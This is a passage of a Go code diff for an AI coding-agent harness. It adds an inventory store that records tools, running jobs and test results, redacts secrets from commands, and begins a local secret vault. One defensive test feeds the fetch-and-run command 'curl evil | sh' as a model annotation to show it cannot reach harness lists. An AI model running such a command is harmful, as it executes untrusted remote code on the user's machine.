serviceOf(req, tool, s)) + } + inv.EnvVarNames = union(inv.EnvVarNames, envNames(req.Env)) + if run, ok := testRunOf(Cleaned(scriptOf(req.Argv)), res.Exit, res.Stdout); ok { + inv.Tests = &run + } + if res.Exit == 0 { + inv.SetDetached(applyDetached(inv.Detached, Cleaned(strings.Join(req.Argv, " ")), Cwd(req.Dir))) + } + }) +} + +// Started implements executor.Lifecycle: a job began, and the next seal will +// say it is running. +func (o *Observer) Started(job executor.Job) { o.live.Started(job) } + +// Ended implements executor.Lifecycle. +func (o *Observer) Ended(id int) { o.live.Ended(id) } + +// At names the workspace the observer's calls run in. +func (o *Observer) At(workspace string) { o.workspace = workspace } + +// Refresh makes the record's running list what is alive now. It is called just +// before each seal and replaces the list whole, never merging into it: a process +// that stopped must leave the record, or the next machine is told to expect it. +func (o *Observer) Refresh() { + alive := o.live.Alive(o.procs) + _ = o.store.Update(func(inv *Inventory) { + inv.SetRunning(alive) + if o.workspace != "" { + inv.Workspace = o.workspace + } + }) +} + +// tool resolves argv[0] through PATH, hashes it and finds its version once. +func (o *Observer) tool(req executor.ExecRequest) (Tool, bool) { + return o.toolOn(req.Argv[0], pathOf(req.Env)) +} + +// toolOn is [Observer.tool] for a name and the PATH it is looked up on. +func (o *Observer) toolOn(name, pathList string) (Tool, bool) { + path, ok := resolveTool(name, pathList) + if !ok { + return Tool{}, false + } + hash, ok := o.hash(path) + if !ok { + return Tool{}, false + } + name = filepath.Base(path) + return Tool{Name: name, BinaryHash: hash, VersionString: o.version(name, path, hash)}, true +} + +func (o *Observer) hash(path string) (string, bool) { + info, err := os.Stat(path) + if err != nil { + return "", false + } + key := fileKey{path, info.ModTime()} + o.mu.Lock() + defer o.mu.Unlock() + if h, ok := o.hashes[key]; ok { + return h, true + } + h, err := hashFile(path) + if err != nil { + return "", false + } + o.hashes[key] = h + return h, true +} + +// version probes each binary hash at most once; a tool with no probe entry +// keeps an empty version. +func (o *Observer) version(name, path, hash string) string { + o.mu.Lock() + defer o.mu.Unlock() + if v, done := o.probed[hash]; done { + return v + } + v := "" + if args, ok := o.probes[name]; ok { + v = o.probe(path, args) + } + o.probed[hash] = v + return v +} + +// hashFile is the identity of a binary's bytes. SHA-256 stands in until the +// store's BLAKE3 lands; only this function changes then. +func hashFile(path string) (string, error) { + f, err := os.Open(path) + if err != nil { + return "", err + } + defer f.Close() + h := sha256.New() + if _, err := io.Copy(h, f); err != nil { + return "", err + } + return hex.EncodeToString(h.Sum(nil)), nil +} + +// resolveTool finds the executable a name means. A relative path with a slash +// is a script inside the cell, not a tool, and is not recorded. +func resolveTool(argv0, pathList string) (string, bool) { + if filepath.IsAbs(argv0) { + return argv0, true + } + if strings.ContainsRune(argv0, filepath.Separator) { + return "", false + } + for _, dir := range filepath.SplitList(pathList) { + p := filepath.Join(dir, argv0) + if info, err := os.Stat(p); err == nil && !info.IsDir() && info.Mode()&0o111 != 0 { + return p, true + } + } + return "", false +} + +// pathOf is the PATH the call ran with: its own environment, else ours. +func pathOf(env []string) string { + if env == nil { + return os.Getenv("PATH") + } + for _, kv := range env { + if v, ok := strings.CutPrefix(kv, "PATH="); ok { + return v + } + } + return "" +} + +// envNames keeps the name of each KEY=VALUE pair; values are dropped here. +func envNames(env []string) []string { + var names []string + for _, kv := range env { + if name, _, ok := strings.Cut(kv, "="); ok && name != "" { + names = append(names, name) + } + } + return names +} + +// serviceOf names a service after the executable that started it and takes +// its version from that tool. A data directory that is not cell-relative is +// dropped: it would not travel (L1). +func serviceOf(req executor.ExecRequest, tool Tool, s executor.Service) Service { + out := Service{Name: nameOf(req, s), Version: tool.VersionString, Ports: s.Ports} + if dir := filepath.ToSlash(filepath.Clean(s.DataDir)); s.DataDir != "" && relative(dir) { + out.DataDir = dir + } + return out +} + +// nameOf prefers the name the executor read from the surviving process. +func nameOf(req executor.ExecRequest, s executor.Service) string { + if s.Name != "" { + return s.Name + } + return filepath.Base(req.Argv[0]) +} + +func relative(p string) bool { + return !filepath.IsAbs(p) && !strings.HasPrefix(p, "/") && p != ".." && !strings.HasPrefix(p, "../") +} + +func putTool(inv *Inventory, t Tool) { + for i := range inv.Tools { + if inv.Tools[i].Name == t.Name { + inv.Tools[i] = t + return + } + } + inv.Tools = append(inv.Tools, t) + sort.Slice(inv.Tools, func(i, j int) bool { return inv.Tools[i].Name < inv.Tools[j].Name }) +} + +func putService(inv *Inventory, s Service) { + for i := range inv.Services { + if inv.Services[i].Name == s.Name { + inv.Services[i] = mergeService(inv.Services[i], s) + return + } + } + inv.Services = append(inv.Services, mergeService(Service{}, s)) + sort.Slice(inv.Services, func(i, j int) bool { return inv.Services[i].Name < inv.Services[j].Name }) +} + +// mergeService lets a later sighting add ports and facts but never erase them. +func mergeService(old, next Service) Service { + next.Ports = unionInts(old.Ports, next.Ports) + if next.Version == "" { + next.Version = old.Version + } + if next.DataDir == "" { + next.DataDir = old.DataDir + } + return next +} + +func union(a, b []string) []string { + set := map[string]bool{} + for _, s := range append(append([]string{}, a...), b...) { + set[s] = true + } + out := make([]string, 0, len(set)) + for s := range set { + out = append(out, s) + } + sort.Strings(out) + if len(out) == 0 { + return nil + } + return out +} + +func unionInts(a, b []int) []int { + set := map[int]bool{} + for _, n := range append(append([]int{}, a...), b...) { + set[n] = true + } + out := make([]int, 0, len(set)) + for n := range set { + out = append(out, n) + } + sort.Ints(out) + return out +} + +// Sight records the tool a name resolves to on pathList, as if a call had just +// run it. The harness uses it to look at what a setup turn installed: what the +// inventory learns is what is really there, never what the agent said. +func (o *Observer) Sight(name, pathList string) { + if tool, ok := o.toolOn(name, pathList); ok { + _ = o.store.Update(func(inv *Inventory) { putTool(inv, tool) }) + } +} + +// Resolve finds the executable a name means on pathList. +func Resolve(name, pathList string) (string, bool) { return resolveTool(name, pathList) } diff --git a/internal/inventory/probes.go b/internal/inventory/probes.go new file mode 100644 index 0000000000..8436ec3566 --- /dev/null +++ b/internal/inventory/probes.go @@ -0,0 +1,62 @@ +package inventory + +import ( + "context" + "os/exec" + "strings" + "time" +) + +// Probes is data, not code: tool name -> arguments that make it print its +// version. A tool absent from the table is recorded by binary hash alone. +type Probes map[string][]string + +// DefaultProbes covers the tools most cells use. +var DefaultProbes = Probes{ + "node": {"--version"}, + "npm": {"--version"}, + "pnpm": {"--version"}, + "yarn": {"--version"}, + "bun": {"--version"}, + "python": {"--version"}, + "python3": {"--version"}, + "uv": {"--version"}, + "pip": {"--version"}, + "go": {"version"}, + "cargo": {"--version"}, + "rustc": {"--version"}, + "ruby": {"--version"}, + "git": {"--version"}, + "psql": {"--version"}, + "postgres": {"--version"}, + "redis-server": {"--version"}, + "mysqld": {"--version"}, +} + +const probeTimeout = 5 * time.Second + +// Prober prints the version of the binary at path, or "" when it cannot. +type Prober func(path string, args []string) string + +// execProbe runs the binary with its version arguments; the first output line +// is the version string. +func execProbe(path string, args []string) string { + ctx, cancel := context.WithTimeout(context.Background(), probeTimeout) + defer cancel() + out, err := exec.CommandContext(ctx, path, args...).Output() //codeaf:plumbing version probe of a binary the executor already ran + if err != nil { + return "" + } + line, _, _ := strings.Cut(strings.TrimSpace(string(out)), "\n") + return strings.TrimSpace(line) +} + +// Version prints the version line of the binary at path using the default +// probe for name, or "" when the tool has no probe or does not answer. +func Version(name, path string) string { + args, ok := DefaultProbes[name] + if !ok { + return "" + } + return execProbe(path, args) +} diff --git a/internal/inventory/record_test.go b/internal/inventory/record_test.go new file mode 100644 index 0000000000..1eb9194213 --- /dev/null +++ b/internal/inventory/record_test.go @@ -0,0 +1,270 @@ +package inventory + +import ( + "encoding/json" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// fakeProbe says which process groups are alive and what they listen on. +type fakeProbe struct { + alive map[int]bool + ports map[int][]int +} + +func (f fakeProbe) Alive(pgid int) bool { return f.alive[pgid] } +func (f fakeProbe) Ports(pgid int) []int { return f.ports[pgid] } + +func (r *rig) processes(p fakeProbe) { r.obs.procs = p } + +func (r *rig) running() []Running { + r.obs.Refresh() + return r.store.Snapshot().Running +} + +func TestRunningRecordsLiveJob(t *testing.T) { + r := newRig(t) + r.processes(fakeProbe{alive: map[int]bool{7: true}, ports: map[int][]int{7: {3000}}}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", Dir: "web", PGID: 7}) + got := r.running() + if len(got) != 1 || got[0].Command != "npm run dev" || got[0].Cwd != "web" || !reflect.DeepEqual(got[0].Ports, []int{3000}) || got[0].Since == 0 { + t.Fatalf("running = %+v", got) + } +} + +func TestRunningIsReplacedNotMerged(t *testing.T) { + r := newRig(t) + alive := map[int]bool{7: true, 8: true} + r.processes(fakeProbe{alive: alive}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", PGID: 7}) + r.obs.Started(executor.Job{ID: 2, Command: "python -m http.server", PGID: 8}) + if got := r.running(); len(got) != 2 { + t.Fatalf("running = %+v", got) + } + r.obs.Ended(1) // `jobs kill`, or the job exiting on its own + if got := r.running(); len(got) != 1 || got[0].Command != "python -m http.server" { + t.Fatalf("running = %+v after one job ended", got) + } + alive[8] = false // killed from outside, which tells nobody + if got := r.running(); len(got) != 0 { + t.Fatalf("running = %+v after the last process died", got) + } +} + +func TestForegroundLeftoverRecorded(t *testing.T) { + r := newRig(t, "nohup") + r.processes(fakeProbe{alive: map[int]bool{9: true}, ports: map[int][]int{9: {8080}}}) + req, res := r.call("nohup") + req.Dir = "api" + res.Services = []executor.Service{{Name: "server", Argv: []string{"nohup", "./server", "--port", "8080"}, PGID: 9, Ports: []int{8080}}} + r.obs.Observe(req, res) + got := r.running() + if len(got) != 1 || got[0].Command != "nohup ./server --port 8080" || got[0].Cwd != "api" || !reflect.DeepEqual(got[0].Ports, []int{8080}) { + t.Fatalf("running = %+v: a process a call left behind is a running command with the call's folder", got) + } +} + +func TestDetachedHintPairsWithStop(t *testing.T) { + r := newRig(t) + do := func(exit int, words ...string) { + r.obs.Observe(executor.ExecRequest{Argv: words, Dir: "infra"}, executor.ExecResult{Exit: exit}) + } + detached := func() []string { + var out []string + for _, d := range r.store.Snapshot().Detached { + out = append(out, d.Command) + } + return out + } + do(1, "docker", "compose", "up", "-d") + if got := detached(); len(got) != 0 { + t.Fatalf("a start that failed is listed: %v", got) + } + do(0, "docker", "compose", "up", "-d") + do(0, "brew", "services", "start", "postgresql@16") + do(0, "ls") + if got := detached(); !reflect.DeepEqual(got, []string{"docker compose up -d", "brew services start postgresql@16"}) { + t.Fatalf("detached = %v", got) + } + do(0, "docker", "compose", "down") + if got := detached(); !reflect.DeepEqual(got, []string{"brew services start postgresql@16"}) { + t.Fatalf("detached = %v after the matching stop", got) + } + do(0, "docker", "compose", "up", "-d") + do(0, "docker", "compose", "up", "-d", "--build") + if got := detached(); len(got) != 2 { + t.Fatalf("detached = %v: a second start of the same kind replaces the first", got) + } +} + +func TestRecordCleansSecretsInCommands(t *testing.T) { + r := newRig(t) + const key = "sk-abcdefghijklmnopqrstuvwx" + r.processes(fakeProbe{alive: map[int]bool{1: true, 2: true}}) + r.obs.Started(executor.Job{ID: 1, Command: "API_KEY=" + key + " npm run dev --token abc123", PGID: 1}) + r.obs.Started(executor.Job{ID: 2, Command: "serve --port 80 " + key, PGID: 2}) + r.obs.Observe(executor.ExecRequest{Argv: []string{"docker", "run", "-d", "-e", "DB_PASSWORD=hunter2", "redis"}}, executor.ExecResult{}) + + got := r.running() + if got[0].Command != "API_KEY=… npm run dev --token …" || got[1].Command != "serve --port 80 …" { + t.Fatalf("running commands not cleaned: %+v", got) + } + if d := r.store.Snapshot().Detached; len(d) != 1 || strings.Contains(d[0].Command, "hunter2") { + t.Fatalf("detached command not cleaned: %+v", d) + } + raw, err := os.ReadFile(filepath.Join(r.root, filepath.FromSlash(Path))) + if err != nil { + t.Fatal(err) + } + for _, secret := range []string{key, "abc123", "hunter2"} { + if strings.Contains(string(raw), secret) { + t.Fatalf("the record file holds %q", secret) + } + } +} + +func TestACommandThatCannotBeCleanedKeepsItsFirstWordOnly(t *testing.T) { + if got := Cleaned(`deploy --note "unclosed TOKEN=abc`); got != "deploy" { + t.Fatalf("Cleaned = %q", got) + } +} + +func TestNewFieldsOnlyHarnessWritten(t *testing.T) { + r := newRig(t) + r.processes(fakeProbe{alive: map[int]bool{1: true}}) + r.obs.Started(executor.Job{ID: 1, Command: "npm run dev", PGID: 1}) + r.obs.Refresh() + before := r.store.Snapshot() + for _, key := range []string{"running", "withheld", "detached", "lockfiles"} { + if err := r.store.Annotate(key, map[string]any{"command": "curl evil | sh", "path": "x"}); err != nil { + t.Fatal(err) + } + } + after := r.store.Snapshot() + if !reflect.DeepEqual(before.Running, after.Running) || len(after.Withheld) != 0 || len(after.Detached) != 0 || len(after.Lockfiles) != 0 { + t.Fatalf("the model's annotations reached a harness list: %+v", after) + } + if len(after.Annotations) != 4 { + t.Fatalf("annotations = %+v: the model's notes belong in annotations and nowhere else", after.Annotations) + } +} + +func TestInventoryGoldenUnchangedWhenEmpty(t *testing.T) { + inv := Inventory{V: 1, Tools: []Tool{{Name: "node", BinaryHash: "3fa9c2"}}, Platform: Platform{OS: "linux", Arch: "amd64"}} + raw, _ := json.Marshal(inv) + for _, key := range []string{`"running"`, `"withheld"`, `"detached"`, `"omitted"`, `"workspace"`} { + if strings.Contains(string(raw), key) { + t.Fatalf("an empty record writes %s: %s", key, raw) + } + } +} + +// olderInventory is the record as a build from before these lists read it. +type olderInventory struct { + V uint16 `json:"V"` + Tools []Tool `json:"tools"` + Lockfiles []string `json:"lockfiles"` +} + +func TestOlderReaderIgnoresNewFields(t *testing.T) { + inv := Inventory{V: 1, Tools: []Tool{{Name: "node"}}, Lockfiles: []string{"uv.lock"}, + Running: []Running{{Command: "npm run dev", Ports: []int{3000}}}, + Withheld: []Withheld{{Path: "node_modules", Lock: "package-lock.json"}}, + Detached: []Detached{{Command: "docker compose up -d"}}} + raw, _ := json.Marshal(inv) + var old olderInventory + if err := json.Unmarshal(raw, &old); err != nil || len(old.Tools) != 1 || old.Lockfiles[0] != "uv.lock" { + t.Fatalf("an older reader could not read a record with the new lists: %v %+v", err, old) + } + var fromOld Inventory + older, _ := json.Marshal(olderInventory{V: 1, Tools: []Tool{{Name: "go"}}}) + if err := json.Unmarshal(older, &fromOld); err != nil || len(fromOld.Running)+len(fromOld.Withheld)+len(fromOld.Detached) != 0 { + t.Fatalf("a record from before the lists read as %+v (%v)", fromOld, err) + } +} + +func TestRecordBounds(t *testing.T) { + var inv Inventory + var run []Running + for i := 0; i < 40; i++ { + run = append(run, Running{Command: string(rune('a' + i%26)), Since: int64(i)}) + } + inv.SetRunning(run) + if len(inv.Running) != maxRunning || inv.Running[len(inv.Running)-1].Since != 39 || inv.OmittedOf(ListRunning) != 40-maxRunning { + t.Fatalf("running %d entries, omitted %v: the newest stay and the cut is counted", len(inv.Running), inv.Omitted) + } + inv.SetRunning(nil) + if inv.Omitted != nil { + t.Fatalf("omitted = %v after the list emptied", inv.Omitted) + } + var many []Withheld + for i := 0; i < 100; i++ { + many = append(many, Withheld{Path: "p" + string(rune('a'+i%26)) + "/node_modules"}) + } + inv.SetWithheld(func(string) bool { return true }, many) + if len(inv.Withheld) != maxWithheld || inv.OmittedOf(ListWithheld) != 100-maxWithheld { + t.Fatalf("withheld %d entries, omitted %v", len(inv.Withheld), inv.Omitted) + } + if long := Cleaned(strings.Repeat("é", 300)); len(long) > maxCommand || !strings.HasSuffix(long, "é") { + t.Fatalf("a long command was cut to %d bytes, mid-character or not at all", len(long)) + } +} + +func TestSetWithheldReplacesOnlyItsOwnEntries(t *testing.T) { + inv := Inventory{Withheld: []Withheld{{Path: "node_modules"}, {Path: "trees/t1/node_modules"}}} + inv.SetWithheld(func(p string) bool { return !strings.HasPrefix(p, "trees/") }, []Withheld{{Path: "web/node_modules"}}) + var got []string + for _, w := range inv.Withheld { + got = append(got, w.Path) + } + if !reflect.DeepEqual(got, []string{"trees/t1/node_modules", "web/node_modules"}) { + t.Fatalf("withheld = %v", got) + } +} + +func TestTwoStoresOfOneCellDoNotEraseEachOther(t *testing.T) { + root := t.TempDir() + a, err := Open(root) + if err != nil { + t.Fatal(err) + } + if err := a.Update(func(inv *Inventory) { inv.SetRunning([]Running{{Command: "one"}}) }); err != nil { + t.Fatal(err) + } + // The seal's own step opens a store of its own and writes another part. + if err := Record(root, func(inv *Inventory) { inv.Withheld = []Withheld{{Path: "node_modules"}} }); err != nil { + t.Fatal(err) + } + if err := a.Update(func(inv *Inventory) { inv.EnvVarNames = []string{"HOME"} }); err != nil { + t.Fatal(err) + } + got := a.Snapshot() + if len(got.Running) != 1 || len(got.Withheld) != 1 || len(got.EnvVarNames) != 1 { + t.Fatalf("a write from one store erased another's: %+v", got) + } +} + +func TestLiveListsOldestFirst(t *testing.T) { + now := time.UnixMilli(1000) + l := NewLive(func() time.Time { return now }) + l.Started(executor.Job{ID: 2, Command: "b", PGID: 2}) + now = now.Add(time.Second) + l.Started(executor.Job{ID: 1, Command: "a", PGID: 1}) + got := l.Alive(fakeProbe{alive: map[int]bool{1: true, 2: true}}) + if len(got) != 2 || got[0].Command != "b" || got[1].Command != "a" { + t.Fatalf("alive = %+v", got) + } +} + +func TestARecordedScriptIsOneLine(t *testing.T) { + got := Cleaned("npm ci --offline\n\n nohup node server.js 3000 >server.log 2>&1 &\nsleep 2\n") + if want := "npm ci --offline; nohup node server.js 3000 >server.log 2>&1 &; sleep 2"; got != want { + t.Fatalf("Cleaned = %q, want %q", got, want) + } +} diff --git a/internal/inventory/store.go b/internal/inventory/store.go new file mode 100644 index 0000000000..a3acb91b79 --- /dev/null +++ b/internal/inventory/store.go @@ -0,0 +1,163 @@ +package inventory + +import ( + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path/filepath" + "reflect" + "runtime" + "sync" +) + +// Store owns one cell's inventory file. Every change goes through Update, so +// the file is rewritten whole, atomically, and only when something changed. +type Store struct { + mu sync.Mutex + path string + inv Inventory +} + +// Open loads the inventory of the cell rooted at root, or starts an empty one +// for this platform. +func Open(root string) (*Store, error) { + s := &Store{path: filepath.Join(root, filepath.FromSlash(Path))} + inv, err := s.read() + if err != nil { + return nil, err + } + s.inv = inv + return s, nil +} + +// read is the file as it is now, or the empty inventory of this platform where +// there is none. +func (s *Store) read() (Inventory, error) { + raw, err := os.ReadFile(s.path) + if errors.Is(err, fs.ErrNotExist) { + return Inventory{V: schemaV, Platform: Platform{OS: runtime.GOOS, Arch: runtime.GOARCH}}, nil + } + if err != nil { + return Inventory{}, fmt.Errorf("open inventory: %w", err) + } + var inv Inventory + if err := json.Unmarshal(raw, &inv); err != nil { + return Inventory{}, fmt.Errorf("open inventory: %w", err) + } + return inv, nil +} + +// Record opens the inventory of the cell rooted at root, applies change and +// persists it. It is the door for a step that writes one part of the record and +// does not hold a store: the seal's own steps, which run beside the session's +// observer and must not overwrite what it wrote. +func Record(root string, change func(*Inventory)) error { + s, err := Open(root) + if err != nil { + return err + } + return s.Update(change) +} + +// Snapshot is a copy of the current inventory. +func (s *Store) Snapshot() Inventory { + s.mu.Lock() + defer s.mu.Unlock() + s.refresh() + return clone(s.inv) +} + +// refresh takes the file's current contents, because another store of the same +// file may have written since this one last looked. A file that cannot be read +// keeps what this store holds. +func (s *Store) refresh() { + if inv, err := s.read(); err == nil { + s.inv = inv + } +} + +// Update applies change to a copy and persists it when it differs. The copy is +// made from the file as it is now, so two stores of one cell never erase each +// other's part of the record. +func (s *Store) Update(change func(*Inventory)) error { + writeMu.Lock() + defer writeMu.Unlock() + s.mu.Lock() + defer s.mu.Unlock() + s.refresh() + next := clone(s.inv) + change(&next) + next.V = schemaV + if reflect.DeepEqual(next, s.inv) { + return nil + } + if err := s.write(next); err != nil { + return err + } + s.inv = next + return nil +} + +// writeMu orders every read-change-write of the file in this process, whichever +// store does it. +var writeMu sync.Mutex + +// Annotate records agent-supplied notes about one key. It cannot touch any +// other field: annotations are the model's only door into the inventory (L13). +func (s *Store) Annotate(key string, note map[string]any) error { + return s.Update(func(inv *Inventory) { + if inv.Annotations == nil { + inv.Annotations = map[string]map[string]any{} + } + inv.Annotations[key] = note + }) +} + +func (s *Store) write(inv Inventory) error { + // K3: these recorded source folders travel to computers with another path grammar. + inv.Workspace = filepath.ToSlash(inv.Workspace) + inv.ChatDir = filepath.ToSlash(inv.ChatDir) + raw, err := json.MarshalIndent(inv, "", " ") + if err != nil { + return err + } + return writeAtomic(s.path, raw) +} + +func writeAtomic(path string, data []byte) (err error) { + if err = os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + tmp, err := os.CreateTemp(filepath.Dir(path), ".inventory-*.tmp") + if err != nil { + return err + } + defer func() { + if err != nil { + _ = os.Remove(tmp.Name()) + } + }() + if _, err = tmp.Write(data); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Sync(); err != nil { + _ = tmp.Close() + return err + } + if err = tmp.Close(); err != nil { + return err + } + return fsreplace.Rename(tmp.Name(), path) +} + +// clone deep-copies through JSON, which is also the shape that persists. +func clone(inv Inventory) Inventory { + raw, _ := json.Marshal(inv) + var out Inventory + _ = json.Unmarshal(raw, &out) + return out +} diff --git a/internal/inventory/tests.go b/internal/inventory/tests.go new file mode 100644 index 0000000000..38cfbd9378 --- /dev/null +++ b/internal/inventory/tests.go @@ -0,0 +1,90 @@ +package inventory + +import ( + "path/filepath" + "regexp" + "strconv" + "strings" +) + +// TestRun is the last test command a call ran to its end: whether it passed +// and, where its output said, how many tests failed. It is recorded only from a +// run that happened, so a chat that never ran tests has none. +type TestRun struct { + Command string `json:"command"` + Passed bool `json:"passed"` + Failed int `json:"failed,omitempty"` +} + +// testKind is one kind of test command and how its output counts failures. It +// is data: a runner is added by naming a pattern and a count, and nothing else +// changes. +type testKind struct { + command *regexp.Regexp + failed *regexp.Regexp +} + +// starts is where a test command may begin: the line's start, or after a step. +const starts = `(?:^|&&\s*|;\s*)` + +func kind(command, failed string) testKind { + return testKind{regexp.MustCompile(starts + command), regexp.MustCompile(failed)} +} + +// testKinds is the runners the record knows. The failed pattern's first group +// is a count, or, for a pattern that matches once per failure, absent. +var testKinds = []testKind{ + kind(`go\s+test\b`, `(?m)^--- FAIL:`), + kind(`(python3?\s+-m\s+)?pytest\b`, `(\d+) failed`), + kind(`cargo\s+test\b`, `(\d+) failed`), + kind(`(npm|pnpm|yarn)\s+(run\s+)?test\b`, `Tests:\s+(\d+) failed`), + kind(`make\s+test\b`, `(\d+) failed`), +} + +// shells are the programs that run a script handed to them with -c. +var shells = map[string]bool{"sh": true, "bash": true, "zsh": true} + +// scriptOf is the line a call ran: the script of a shell -c call, else the +// words of the call. +func scriptOf(argv []string) string { + if len(argv) >= 3 && shells[filepath.Base(argv[0])] && strings.HasSuffix(argv[1], "c") && strings.HasPrefix(argv[1], "-") { + return argv[2] + } + return strings.Join(argv, " ") +} + +// testRunOf reads one finished command: the run it was, when it was a test +// command that ran to its end. A command that was killed has no verdict. +func testRunOf(command string, exit int, output []byte) (TestRun, bool) { + if exit < 0 { + return TestRun{}, false + } + for _, k := range testKinds { + if loc := k.command.FindStringIndex(command); loc != nil && !masksExit(command[loc[1]:]) { + run := TestRun{Command: command, Passed: exit == 0} + if !run.Passed { + run.Failed = k.count(output) + } + return run, true + } + } + return TestRun{}, false +} + +// count is how many tests the output says failed, zero when it does not say. +func (k testKind) count(output []byte) int { + all := k.failed.FindAllSubmatch(output, -1) + if k.failed.NumSubexp() == 0 { + return len(all) + } + for _, m := range all { + if n, err := strconv.Atoi(string(m[1])); err == nil { + return n + } + } + return 0 +} + +// masksExit reports whether what follows a test command can change the exit +// status the call ended with: a pipe or a later step says nothing of the tests. +func masksExit(rest string) bool { return strings.ContainsAny(rest, "|;") } diff --git a/internal/inventory/tests_test.go b/internal/inventory/tests_test.go new file mode 100644 index 0000000000..7bc9c2496a --- /dev/null +++ b/internal/inventory/tests_test.go @@ -0,0 +1,57 @@ +package inventory + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +func TestATestCommandIsReadFromItsExit(t *testing.T) { + cases := []struct { + name, cmd string + exit int + out string + want TestRun + ok bool + }{ + {"go pass", "go test ./...", 0, "ok x", TestRun{Command: "go test ./...", Passed: true}, true}, + {"go fail", "go test ./...", 1, "--- FAIL: A\n--- FAIL: B\nFAIL", TestRun{Command: "go test ./...", Failed: 2}, true}, + {"pytest fail", "cd app && pytest -q", 1, "3 failed, 4 passed", TestRun{Command: "cd app && pytest -q", Failed: 3}, true}, + {"fail without count", "make test", 2, "boom", TestRun{Command: "make test"}, true}, + {"killed", "go test ./...", -1, "", TestRun{}, false}, + {"piped", "go test ./... | tail", 0, "", TestRun{}, false}, + {"followed by a step", "go test ./...; echo done", 0, "", TestRun{}, false}, + {"not a test", "go build ./...", 0, "", TestRun{}, false}, + } + for _, c := range cases { + got, ok := testRunOf(c.cmd, c.exit, []byte(c.out)) + if ok != c.ok || got != c.want { + t.Errorf("%s: got %+v %v, want %+v %v", c.name, got, ok, c.want, c.ok) + } + } +} + +func TestAShellCallIsReadByItsScript(t *testing.T) { + if got := scriptOf([]string{"/bin/bash", "-lc", "go test ./..."}); got != "go test ./..." { + t.Fatalf("scriptOf = %q", got) + } + if got := scriptOf([]string{"go", "test", "./..."}); got != "go test ./..." { + t.Fatalf("scriptOf = %q", got) + } +} + +func TestTheObserverKeepsTheLastTestRunOnly(t *testing.T) { + r := newRig(t) + if r.store.Snapshot().Tests != nil { + t.Fatal("a run was recorded before any call") + } + r.obs.Observe(executor.ExecRequest{Argv: []string{"bash", "-c", "go test ./..."}}, executor.ExecResult{Exit: 1, Stdout: []byte("--- FAIL: A\n")}) + r.obs.Observe(executor.ExecRequest{Argv: []string{"ls"}}, executor.ExecResult{}) + if got := r.store.Snapshot().Tests; got == nil || got.Passed || got.Failed != 1 { + t.Fatalf("tests = %+v", got) + } + r.obs.Observe(executor.ExecRequest{Argv: []string{"go", "test"}}, executor.ExecResult{}) + if got := r.store.Snapshot().Tests; got == nil || !got.Passed { + t.Fatalf("tests = %+v", got) + } +} diff --git a/internal/keys/doc.go b/internal/keys/doc.go new file mode 100644 index 0000000000..3cdf7c2570 --- /dev/null +++ b/internal/keys/doc.go @@ -0,0 +1,10 @@ +// Package keys is the minimal local secret store. +// +// What protects what: secrets live in one file, vault.enc, sealed with +// ChaCha20-Poly1305 under the identity's cell key (internal/identity, kept in +// identity.json; a machine's older vault.key becomes that key on first use). +// Both files are mode 0600 in the codeaf home, outside every workspace. The +// identity file guards against the vault file being copied or committed on its +// own; anyone who can read both files as this user can read the secrets. The +// plaintext envelope carries only the version, cell_key_id and nonce. +package keys diff --git a/internal/keys/dotenv.go b/internal/keys/dotenv.go new file mode 100644 index 0000000000..50a134ce59 --- /dev/null +++ b/internal/keys/dotenv.go @@ -0,0 +1,48 @@ +package keys + +import "strings" + +type pair struct{ name, value string } + +// parseDotenv reads KEY=VALUE lines. It skips blanks and # comments, accepts +// an "export " prefix, and strips one layer of matching quotes. +func parseDotenv(text string) []pair { + var out []pair + for _, line := range strings.Split(text, "\n") { + if p, ok := parseLine(line); ok { + out = append(out, p) + } + } + return out +} + +func parseLine(line string) (pair, bool) { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + return pair{}, false + } + line = strings.TrimSpace(strings.TrimPrefix(line, "export ")) + name, value, found := strings.Cut(line, "=") + name = strings.TrimSpace(name) + if !found || name == "" { + return pair{}, false + } + return pair{name, unquote(strings.TrimSpace(value))}, true +} + +func unquote(s string) string { + if len(s) >= 2 && (s[0] == '"' || s[0] == '\'') && s[len(s)-1] == s[0] { + return s[1 : len(s)-1] + } + return s +} + +// DotenvValues maps each name a .env text sets to its value; when a name is set +// twice the later line wins, as a dotenv loader would read it. +func DotenvValues(text string) map[string]string { + out := map[string]string{} + for _, p := range parseDotenv(text) { + out[p.name] = p.value + } + return out +} diff --git a/internal/keys/golden_test.go b/internal/keys/golden_test.go new file mode 100644 index 0000000000..e27eae12dd --- /dev/null +++ b/internal/keys/golden_test.go @@ -0,0 +1,25 @@ +package keys + +import ( + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +// The vault document and its envelope are unexported, so their golden rows +// live here; the exported schemas are in internal/lawcheck. +func TestGoldenVault(t *testing.T) { + for name, sample := range map[string]any{ + "vault.envelope": envelope{V: 1, CellKeyID: "00112233445566778899aabbccddeeff", Nonce: "00112233445566778899aabbccddeeff0011223344556677", Data: "cafe"}, + "vault.doc": vaultDoc{V: 1, Updated: 1759049990000, Secrets: map[string]record{ + "a41c9e0b7d3f2586c1e0b94a7d3f2851": {Entry: Entry{Name: "DATABASE_URL", Value: "postgres://x", Scope: "p_8c1f2a"}}, + }}, + } { + t.Run(name, func(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", name+".golden.json"), sample) + }) + } +} diff --git a/internal/keys/keys_test.go b/internal/keys/keys_test.go new file mode 100644 index 0000000000..de0a5a5d51 --- /dev/null +++ b/internal/keys/keys_test.go @@ -0,0 +1,254 @@ +package keys + +import ( + "encoding/hex" + "encoding/json" + "os" + "path/filepath" + "reflect" + "runtime" + "strings" + "testing" + + "golang.org/x/crypto/chacha20poly1305" + + "github.com/Agent-Field/codeaf/internal/identity" +) + +func mustOpen(t *testing.T) (*Vault, string) { + t.Helper() + home := filepath.Join(t.TempDir(), "home") + v, err := Open(home) + if err != nil { + t.Fatal(err) + } + return v, home +} + +func TestRoundTrip(t *testing.T) { + v, home := mustOpen(t) + want := Entry{Name: "DATABASE_URL", Value: 